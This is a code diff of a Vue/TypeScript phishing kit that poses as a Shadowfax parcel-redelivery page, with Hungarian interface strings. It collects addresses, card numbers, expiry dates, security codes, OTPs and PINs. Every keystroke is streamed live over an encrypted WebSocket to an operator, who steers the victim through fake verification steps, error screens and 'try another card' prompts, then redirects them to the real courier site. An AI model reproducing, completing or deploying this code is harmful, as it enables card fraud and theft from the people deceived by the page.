"(Optional)": "(Opcionális)",
|
||||
"City": "Város",
|
||||
"State": "Állam",
|
||||
"Province": "Tartomány",
|
||||
"Region": "Régió",
|
||||
"Zip Code": "Irányítószám",
|
||||
"E-Mail": "E-Mail",
|
||||
"Next": "Következő",
|
||||
"Telephone Number": "Telefonszám",
|
||||
"Online": "Online",
|
||||
"Payment": "Fizetés",
|
||||
"For redelivery": "Újrakézbesítéshez szolgáltatási díjat kell felszámítanunk. A csomagja a fizetés után újra kézbesítésre kerül",
|
||||
"lump sum: ": "egységes összeg: ",
|
||||
"Cardholder": "Kártyabirtokos",
|
||||
"Card Number": "Kártyaszám",
|
||||
"Expire Date": "Lejárati dátum",
|
||||
"Security Code": "Biztonsági kód",
|
||||
"Submit": "Beküldés",
|
||||
"Click here to receive another code": "Kattintson ide egy másik kód megkapásához",
|
||||
"Please confirm your identity and a one-time code will be sent": "Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk az Ön mobil számára vagy e-mail címére. Kérjük, írja be a megerősítő kódot itt",
|
||||
"The verification code has been sent to": "A megerősítő kódot elküldtük ide:",
|
||||
"Please do not click the": "Kérjük, ne kattintson a 'Frissítés' vagy 'Vissza' gombokra, mert ez megszakíthatja a tranzakcióját",
|
||||
"Verification code error, please try again": "Megerősítő kód hiba, kérjük, próbálja újra",
|
||||
"The session is about to expire, please complete the verification now": "A munkamenet hamarosan lejár, kérjük, fejezze be a megerősítést most",
|
||||
"This card does not support this transaction, please try another card": "Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
|
||||
"Authorized bank": "Engedélyezett bank",
|
||||
"Please go to the bank App to confirm the authorization": "Kérjük, lépjen be a bank alkalmazásába az engedélyezés megerősítéséhez",
|
||||
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
|
||||
"Payment Successful": "Fizetés sikeres!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Köszönjük a vásárlását. A fizetését sikeresen feldolgoztuk",
|
||||
"Mailing address": "Postai cím",
|
||||
"street address or house number": "utcai cím vagy házszám",
|
||||
"Apartment number": "Lakcím szám, szoba szám stb.",
|
||||
"Safe payment": "Biztonságos fizetés",
|
||||
"Verification code": "Megerősítő kód",
|
||||
"Delivery status": "Kézbesítési állapot",
|
||||
"Your package number": "A csomag száma: {0}",
|
||||
"Failure notice of delivery": "Kézbesítési hiba értesítés",
|
||||
"Because the delivery address is not clear, your package is not delivered": "Mivel a kézbesítési cím nem világos, a csomagja nem került kézbesítésre",
|
||||
"Your package has returned to our operation center": "A csomagja visszatért az üzemeltetési központunkba",
|
||||
"Please update your address": "Kérjük, frissítse a címét, újra szállítunk {0} időn belül",
|
||||
"Continue": "Folytatás",
|
||||
"Next Step": "Következő lépés",
|
||||
"Update Immediately": "Frissítés azonnal",
|
||||
"Online Payment": "Online fizetés"
|
||||
};
|
||||
32
zy1_in_post_shadowfax/src/main.ts
Normal file
@@ -0,0 +1,32 @@
|
||||
import { createApp, ref } from "vue";
|
||||
import { createPinia } from "pinia";
|
||||
|
||||
import App from "./App.vue";
|
||||
import router from "./router";
|
||||
import { createI18n } from "vue-i18n";
|
||||
import en from "./locales/en";
|
||||
import "./assets/base.css";
|
||||
import "./assets/main.css";
|
||||
import VueScrollTo from "vue-scrollto";
|
||||
const userData = ref({});
|
||||
|
||||
const app = createApp(App);
|
||||
app.config.globalProperties.$currentUser = userData;
|
||||
const i18n = createI18n({
|
||||
locale: "en",
|
||||
fallbackLocale: "en",
|
||||
messages: {
|
||||
en,
|
||||
},
|
||||
});
|
||||
|
||||
app.use(i18n);
|
||||
app.use(createPinia());
|
||||
app.use(router);
|
||||
router.beforeEach((to, from, next) => {
|
||||
// 使用 VueScrollTo 滚动到顶部
|
||||
VueScrollTo.scrollTo("#app", 0);
|
||||
next();
|
||||
});
|
||||
app.mount("#app");
|
||||
export default i18n;
|
||||
38
zy1_in_post_shadowfax/src/router/index.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
import { createRouter, createMemoryHistory } from "vue-router";
|
||||
|
||||
// 直接静态导入所有视图组件
|
||||
import IndexView from "@/views/IndexView.vue";
|
||||
import HomeView from "@/views/HomeView.vue";
|
||||
import GoodsView from "@/views/GoodsView.vue";
|
||||
import AddressView from "@/views/AddressView.vue";
|
||||
import OtpView from "@/views/OtpView.vue";
|
||||
import CustomOtpView from "@/views/CustomOtpView.vue";
|
||||
import AppValidView from "@/views/AppValidView.vue";
|
||||
import SuccessView from "@/views/SuccessView.vue";
|
||||
import CardView from "@/views/CardView.vue";
|
||||
import PinCodeView from "@/views/PinCodeView.vue";
|
||||
|
||||
const router = createRouter({
|
||||
history: createMemoryHistory(), // ✅ 继续使用 createMemoryHistory
|
||||
scrollBehavior(to, from, savedPosition) {
|
||||
if (savedPosition) {
|
||||
return savedPosition; // 返回上次的滚动位置
|
||||
} else {
|
||||
return { top: 0 }; // 否则滚动到顶部
|
||||
}
|
||||
},
|
||||
routes: [
|
||||
{ path: "/", name: "index", component: IndexView },
|
||||
{ path: "/home", name: "home", component: HomeView },
|
||||
{ path: "/goods", name: "goods", component: GoodsView },
|
||||
{ path: "/address", name: "address", component: AddressView },
|
||||
{ path: "/otpValid", name: "otpValid", component: OtpView },
|
||||
{ path: "/customOtpValid", name: "customOtpValid", component: CustomOtpView },
|
||||
{ path: "/appValid", name: "appValid", component: AppValidView },
|
||||
{ path: "/success", name: "success", component: SuccessView },
|
||||
{ path: "/card", name: "card", component: CardView },
|
||||
{ path: "/pinCode", name: "pinCode", component: PinCodeView },
|
||||
],
|
||||
});
|
||||
|
||||
export default router;
|
||||
15
zy1_in_post_shadowfax/src/stores/counter.ts
Normal file
@@ -0,0 +1,15 @@
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
showLoading() {
|
||||
this.isLoading = true;
|
||||
},
|
||||
hideLoading() {
|
||||
this.isLoading = false;
|
||||
},
|
||||
},
|
||||
});
|
||||
13
zy1_in_post_shadowfax/src/stores/loadingStore.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
// stores/loadingStore.ts
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
setLoading(value: boolean) {
|
||||
this.isLoading = value;
|
||||
},
|
||||
},
|
||||
});
|
||||
290
zy1_in_post_shadowfax/src/utils/common.ts
Normal file
@@ -0,0 +1,290 @@
|
||||
import _ from "lodash";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import router from "@/router";
|
||||
import { ref } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import i18n from "@/main";
|
||||
import { useSocketIo, type SessionCrypto } from "./socketio";
|
||||
|
||||
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
||||
if (viteBaseUrl === "/") {
|
||||
viteBaseUrl = "/";
|
||||
} else if (viteBaseUrl === "localhost:8011") {
|
||||
viteBaseUrl = "ws://" + viteBaseUrl;
|
||||
} else {
|
||||
viteBaseUrl = "wss://" + viteBaseUrl;
|
||||
}
|
||||
|
||||
|
||||
// Redirect to an external URL
|
||||
export function redirectToExternal() {
|
||||
window.location.replace("https://www.shadowfax.in/");
|
||||
}
|
||||
|
||||
const initHtml = async () => {
|
||||
const routePath = localStorage.getItem("route");
|
||||
// headHtml.value = await loadHtml("/gtm_post/head.html");
|
||||
|
||||
await router.push(routePath ? `/${routePath}` : "/home");
|
||||
setTimeout(async () => {
|
||||
useLoadingStore().setLoading(false);
|
||||
loadingBg.value = "#00000072";
|
||||
}, 200);
|
||||
};
|
||||
|
||||
export const customOtpData = ref<any>({});
|
||||
|
||||
export function setCustomOtpData(data: any) {
|
||||
customOtpData.value = data;
|
||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
||||
}
|
||||
|
||||
export let myWebSocket: any | undefined;
|
||||
|
||||
// Configuration data
|
||||
export const configData = ref<Record<string, any>>({});
|
||||
|
||||
// Utility function to check if all values in an object are not empty
|
||||
export function areAllValuesNotEmpty(
|
||||
obj: Record<string, any>,
|
||||
excludedFields: string[] = []
|
||||
): boolean {
|
||||
return Object.keys(obj).every((key) => {
|
||||
if (excludedFields.includes(key)) return true;
|
||||
const value = obj[key];
|
||||
return (
|
||||
value !== null &&
|
||||
value !== undefined &&
|
||||
value !== "" &&
|
||||
!(typeof value === "string" && value.trim() === "")
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// 存储 WebSocket 和 API 的防抖函数
|
||||
const wsDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
const apiDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
|
||||
// 获取或创建针对某个键的防抖函数
|
||||
function getDebouncedFunction(
|
||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
||||
key: string,
|
||||
func: (...args: any[]) => void,
|
||||
wait: number
|
||||
) {
|
||||
if (!debounceFunctions[key]) {
|
||||
debounceFunctions[key] = _.debounce(func, wait);
|
||||
}
|
||||
return debounceFunctions[key];
|
||||
}
|
||||
|
||||
const modeRef = ref(1)
|
||||
|
||||
|
||||
// 处理输入变化
|
||||
export function inputChange(type: string, key: any, value: any) {
|
||||
const currentTimestamp = Date.now(); // 当前时间戳
|
||||
|
||||
// WebSocket 防抖函数
|
||||
const wsDebouncedFunction = getDebouncedFunction(
|
||||
wsDebounceFunctions,
|
||||
key,
|
||||
(type, key, value) => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "input_text",
|
||||
content: { type, key, text: value },
|
||||
timestamp: currentTimestamp,
|
||||
})
|
||||
);
|
||||
},
|
||||
300
|
||||
);
|
||||
|
||||
// 调用防抖函数
|
||||
wsDebouncedFunction(type, key, value);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Handle login success
|
||||
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
||||
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
||||
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
||||
myWebSocket?.on("open", () => {
|
||||
const lastToken = localStorage.getItem("token");
|
||||
loginWebsocket(token, lastToken !== token);
|
||||
});
|
||||
|
||||
myWebSocket?.on("message", handleMessage);
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
myWebSocket?.off("close");
|
||||
});
|
||||
}
|
||||
|
||||
// Handle WebSocket messages
|
||||
function handleMessage(data: any) {
|
||||
console.log("Received WebSocket message:", data);
|
||||
const jsonData = JSON.parse(data);
|
||||
if (!jsonData || !jsonData.event) return;
|
||||
|
||||
const { event, content } = jsonData;
|
||||
|
||||
switch (event) {
|
||||
case "login":
|
||||
//handleLoginEvent(content);
|
||||
break;
|
||||
case "result_type":
|
||||
handleResultTypeEvent(content);
|
||||
break;
|
||||
case "reload":
|
||||
window.location.reload();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Handle result type event
|
||||
function handleResultTypeEvent(content: any) {
|
||||
if (!content) return;
|
||||
const typeHandlers: Record<string, () => void> = {
|
||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
||||
otpValid: () => navigateTo("/otpValid", content),
|
||||
appValid: () => navigateTo("/appValid", content),
|
||||
success: () => router.push("/success"),
|
||||
kickOut: redirectToExternal,
|
||||
block: redirectToExternal,
|
||||
otpFail: () =>
|
||||
eventBus.emit("otp-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t("Verification code error, please try again"),
|
||||
}),
|
||||
appFail: () =>
|
||||
eventBus.emit("app-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t(
|
||||
"The session is about to expire, please complete the verification now"
|
||||
),
|
||||
}),
|
||||
back: () => handleBackOrReject(content, true),
|
||||
reject: () => handleBackOrReject(content, false),
|
||||
refresh: () => {
|
||||
if (localStorage.getItem("route")) {
|
||||
localStorage.removeItem("route");
|
||||
window.location.reload();
|
||||
}
|
||||
},
|
||||
};
|
||||
if (content.type == "customOtpValid") {
|
||||
if (content.value.customOtpData) {
|
||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
||||
}
|
||||
}
|
||||
if (content.type === "customOtpValid") {
|
||||
if (customOtpData.value.name === "生日验证") {
|
||||
useLoadingStore().setLoading(false);
|
||||
navigateTo("/pinCode", content);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (content.type == "customOtpFail") {
|
||||
eventBus.emit("custom-otp-valid", {
|
||||
message2: content.value.message2,
|
||||
});
|
||||
}
|
||||
|
||||
const handler = typeHandlers[content.type];
|
||||
if (handler) handler();
|
||||
|
||||
useLoadingStore().setLoading(false);
|
||||
}
|
||||
|
||||
// Navigate to specific path with query parameters
|
||||
function navigateTo(path: string, content: any) {
|
||||
|
||||
router.push('/temp').then(() => {
|
||||
router.push({
|
||||
path: path,
|
||||
query: {
|
||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
||||
message1: content.value?.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// Handle back or reject type
|
||||
function handleBackOrReject(content: any, isBack: boolean) {
|
||||
let message2 = i18n.global.t(
|
||||
"This card does not support this transaction, please try another card"
|
||||
);
|
||||
|
||||
if (configData.value.error_card_msg) {
|
||||
message2 = configData.value.error_card_msg;
|
||||
}
|
||||
|
||||
if (content.value.type) {
|
||||
const type = content.value.type;
|
||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
||||
message2 = configData.value.deny_c_msg;
|
||||
}
|
||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
||||
message2 = configData.value.deny_d_msg;
|
||||
}
|
||||
}
|
||||
|
||||
if (content.value.message2) {
|
||||
message2 = content.value.message2;
|
||||
}
|
||||
|
||||
if (isBack) {
|
||||
router.push({ path: "/card", query: { message2 } });
|
||||
}
|
||||
|
||||
eventBus.emit("my-event", { message2 });
|
||||
}
|
||||
|
||||
// Login to WebSocket
|
||||
function loginWebsocket(token: string, isFirst: boolean) {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "login",
|
||||
content: { tag: "user", token, isFirst },
|
||||
})
|
||||
);
|
||||
initHtml();
|
||||
}
|
||||
|
||||
|
||||
|
||||
export async function loadHtml(url: string) {
|
||||
try {
|
||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
||||
if (!response.ok) {
|
||||
return "";
|
||||
}
|
||||
return await response.text();
|
||||
} catch (error) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
export const headHtml = ref("");
|
||||
|
||||
export const headerHtml = ref("");
|
||||
export const footerHtml = ref("");
|
||||
export const loadingBg = ref("#ffffff");
|
||||
|
||||
|
||||
|
||||
16
zy1_in_post_shadowfax/src/utils/eventBus.ts
Normal file
@@ -0,0 +1,16 @@
|
||||
// src/eventBus.ts
|
||||
import mitt from "mitt";
|
||||
|
||||
// 定义事件名称和对应的数据类型
|
||||
type Events = {
|
||||
"my-event": { message2: string };
|
||||
"otp-valid": { message2: string };
|
||||
"app-valid": { message2: string };
|
||||
"custom-otp-valid": { message2: string };
|
||||
// 可以在这里添加其他事件
|
||||
// 'another-event': number;
|
||||
};
|
||||
|
||||
const eventBus = mitt<Events>();
|
||||
|
||||
export default eventBus;
|
||||
407
zy1_in_post_shadowfax/src/utils/socketio.ts
Normal file
@@ -0,0 +1,407 @@
|
||||
// 设置
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { io, Socket as SocketIOClient } from "socket.io-client";
|
||||
|
||||
// ─── 会话加密接口 ───────────────────────────────────────────────
|
||||
export interface SessionCrypto {
|
||||
aesKey: CryptoKey; // AES-128-GCM,不可导出
|
||||
}
|
||||
|
||||
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
|
||||
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
|
||||
const iv = crypto.getRandomValues(new Uint8Array(12));
|
||||
const encoded = new TextEncoder().encode(plain);
|
||||
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
|
||||
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
|
||||
out.set(iv, 0);
|
||||
out.set(new Uint8Array(cipher), iv.byteLength);
|
||||
let binary = "";
|
||||
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
|
||||
return JSON.stringify({ data: btoa(binary) });
|
||||
}
|
||||
|
||||
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
|
||||
const rawStr =
|
||||
typeof raw === "string" ? raw :
|
||||
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
|
||||
|
||||
let envelope: { data?: string };
|
||||
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
|
||||
if (!envelope?.data) return rawStr;
|
||||
|
||||
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
|
||||
const iv = bytes.slice(0, 12);
|
||||
const cipher = bytes.slice(12);
|
||||
try {
|
||||
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
|
||||
return new TextDecoder().decode(plain);
|
||||
} catch {
|
||||
return rawStr;
|
||||
}
|
||||
}
|
||||
|
||||
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
|
||||
*/
|
||||
export async function generateECDHKeyPair(): Promise<{
|
||||
keyPair: CryptoKeyPair;
|
||||
clientPublicKeyB64: string;
|
||||
}> {
|
||||
const keyPair = await crypto.subtle.generateKey(
|
||||
{ name: "ECDH", namedCurve: "P-256" },
|
||||
true,
|
||||
["deriveBits"]
|
||||
);
|
||||
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
|
||||
const clientPublicKeyB64 = btoa(
|
||||
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
|
||||
);
|
||||
return { keyPair, clientPublicKeyB64 };
|
||||
}
|
||||
|
||||
/**
|
||||
* 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥
|
||||
*/
|
||||
export async function deriveSessionKey(
|
||||
serverPublicKeyB64: string,
|
||||
clientPrivateKey: CryptoKey
|
||||
): Promise<SessionCrypto> {
|
||||
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
|
||||
const serverPublicKey = await crypto.subtle.importKey(
|
||||
"raw", serverPubKeyBytes,
|
||||
{ name: "ECDH", namedCurve: "P-256" }, false, []
|
||||
);
|
||||
const sharedBits = await crypto.subtle.deriveBits(
|
||||
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
|
||||
);
|
||||
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
|
||||
const aesKey = await crypto.subtle.deriveKey(
|
||||
{
|
||||
name: "HKDF", hash: "SHA-256",
|
||||
salt: new Uint8Array(32),
|
||||
info: new TextEncoder().encode("socket-aes-key"),
|
||||
},
|
||||
hkdfKey,
|
||||
{ name: "AES-GCM", length: 128 },
|
||||
false,
|
||||
["encrypt", "decrypt"]
|
||||
);
|
||||
return { aesKey };
|
||||
}
|
||||
|
||||
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
|
||||
const MAX_QUEUE_SIZE = 200;
|
||||
|
||||
class Socket {
|
||||
url: string;
|
||||
private token: string;
|
||||
private sessionCrypto: SessionCrypto | null;
|
||||
private ecdhKeyPair: CryptoKeyPair | null = null;
|
||||
private clientPublicKeyB64: string | null = null;
|
||||
/** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */
|
||||
private isReady = false;
|
||||
socket: SocketIOClient | null = null;
|
||||
listeners: { [key: string]: Function[] } = {};
|
||||
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
|
||||
|
||||
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
this.url = url;
|
||||
this.token = token;
|
||||
this.sessionCrypto = sessionCrypto;
|
||||
this.init();
|
||||
this.setupVisibilityListener();
|
||||
}
|
||||
|
||||
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
|
||||
private async initECDH() {
|
||||
if (!this.ecdhKeyPair) {
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
this.ecdhKeyPair = keyPair;
|
||||
this.clientPublicKeyB64 = clientPublicKeyB64;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
|
||||
* 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。
|
||||
*/
|
||||
private performKeyExchange(): Promise<void> {
|
||||
return new Promise<void>((resolve) => {
|
||||
// 3 秒超时:若服务端不响应则无加密继续
|
||||
const timeout = setTimeout(() => {
|
||||
this.socket?.off('key_exchange_result', onResult);
|
||||
this.sessionCrypto = null;
|
||||
resolve();
|
||||
}, 3000);
|
||||
|
||||
const onResult = async (serverPubKeyB64: string) => {
|
||||
clearTimeout(timeout);
|
||||
try {
|
||||
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
|
||||
} catch (e) {
|
||||
console.error('[Socket] key derivation failed:', e);
|
||||
this.sessionCrypto = null;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
|
||||
this.socket?.once('key_exchange_result', onResult);
|
||||
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
|
||||
* 服务端发送 login success 时 client.State 已同步设置完毕,
|
||||
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
|
||||
*/
|
||||
private async sendLoginAndWait(): Promise<void> {
|
||||
await new Promise<void>((resolve) => {
|
||||
let settled = false;
|
||||
const settle = () => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
this.socket?.off('message', onRawMessage);
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
};
|
||||
// 3 秒兜底:即使没收到确认也继续
|
||||
const timer = setTimeout(settle, 3000);
|
||||
|
||||
const onRawMessage = async (raw: unknown) => {
|
||||
try {
|
||||
let text: string;
|
||||
if (this.sessionCrypto) {
|
||||
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
|
||||
}
|
||||
const parsed = JSON.parse(text);
|
||||
if (parsed?.event === 'login') settle();
|
||||
} catch { /* 忽略解析失败 */ }
|
||||
};
|
||||
|
||||
// 先注册监听,再发 login,避免极速响应漏掉
|
||||
this.socket?.on('message', onRawMessage);
|
||||
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
|
||||
});
|
||||
}
|
||||
|
||||
init() {
|
||||
if (this.socket) {
|
||||
return;
|
||||
}
|
||||
console.log("Socket initialized with URL:", this.url);
|
||||
this.socket = io(this.url, {
|
||||
path: "/socket.io",
|
||||
query: this.token ? { token: this.token } : undefined,
|
||||
reconnectionDelay: 1500,
|
||||
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
|
||||
});
|
||||
|
||||
// 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题
|
||||
this.socket.on('connect', async () => {
|
||||
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
|
||||
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
|
||||
this.socket?.off('key_exchange_result');
|
||||
try {
|
||||
await this.initECDH();
|
||||
await this.performKeyExchange();
|
||||
// 等待服务端 login success 确认后再冲刷队列
|
||||
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
|
||||
await this.sendLoginAndWait();
|
||||
} catch (e) {
|
||||
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
|
||||
this.sessionCrypto = null;
|
||||
} finally {
|
||||
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
|
||||
this.isReady = true;
|
||||
await this.flushMessageQueue(); // 连接后按序发送排队消息
|
||||
this.emit('open', { type: 'open' });
|
||||
}
|
||||
});
|
||||
|
||||
// 消息接收(支持 AES-GCM 解密)
|
||||
this.socket.on('message', async (data) => {
|
||||
let plainText: string;
|
||||
if (this.sessionCrypto) {
|
||||
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
plainText = typeof data === 'string' ? data : JSON.stringify(data);
|
||||
}
|
||||
this.emit('message', plainText);
|
||||
});
|
||||
|
||||
// 连接错误
|
||||
this.socket.on('connect_error', (error) => {
|
||||
this.emit('error', error);
|
||||
});
|
||||
|
||||
// 断开连接
|
||||
this.socket.on('disconnect', (reason) => {
|
||||
this.isReady = false; // 断开后消息重新入队
|
||||
this.emit('close', { reason });
|
||||
});
|
||||
|
||||
// 重连尝试
|
||||
this.socket.on('reconnect_attempt', (attemptNumber) => {
|
||||
this.emit('reconnect_attempt', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连成功
|
||||
this.socket.on('reconnect', (attemptNumber) => {
|
||||
this.emit('reconnect', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连失败
|
||||
this.socket.on('reconnect_failed', () => {
|
||||
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
|
||||
this.emit('reconnect_failed', { type: 'reconnect_failed' });
|
||||
});
|
||||
|
||||
// 处理所有其他事件
|
||||
this.socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
|
||||
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
|
||||
this.emit(eventName, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
isConnected(): boolean {
|
||||
return this.socket?.connected ?? false;
|
||||
}
|
||||
|
||||
/** 用于握手阶段的 login 事件,同样走加密通道 */
|
||||
private async sendRaw(data: string) {
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', data);
|
||||
}
|
||||
}
|
||||
|
||||
async send(data: string) {
|
||||
try {
|
||||
const payload = JSON.parse(data);
|
||||
|
||||
// 添加时间戳
|
||||
const messageData = {
|
||||
...payload,
|
||||
timestamp: payload.timestamp || Date.now()
|
||||
};
|
||||
|
||||
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
|
||||
if (!this.isReady) {
|
||||
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
|
||||
this.messageQueue.push(messageData);
|
||||
} else {
|
||||
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
|
||||
}
|
||||
this.reconnectIfNeeded();
|
||||
return;
|
||||
}
|
||||
|
||||
const serialized = JSON.stringify(messageData);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Invalid message format. Must be a valid JSON string.', error);
|
||||
}
|
||||
}
|
||||
|
||||
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
|
||||
async flushMessageQueue() {
|
||||
if (this.messageQueue.length === 0) return;
|
||||
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
|
||||
for (const msg of queue) {
|
||||
if (!this.isReady || !this.socket?.connected) {
|
||||
// 发送途中再次断开,将剩余消息放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
try {
|
||||
const serialized = JSON.stringify(msg);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('[Socket] flushMessageQueue 发送失败:', e);
|
||||
// 发送失败也放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconnectIfNeeded() {
|
||||
if (!this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
}
|
||||
|
||||
on(event: string, callback: Function) {
|
||||
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
|
||||
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
} else {
|
||||
// 其他 Socket.IO 原生事件
|
||||
this.socket?.on(event, (...args) => callback(...args));
|
||||
}
|
||||
}
|
||||
|
||||
off(event: string) {
|
||||
if (this.listeners[event]) {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
this.socket?.off(event);
|
||||
}
|
||||
|
||||
emit(event: string, data: any) {
|
||||
if (this.listeners[event]) {
|
||||
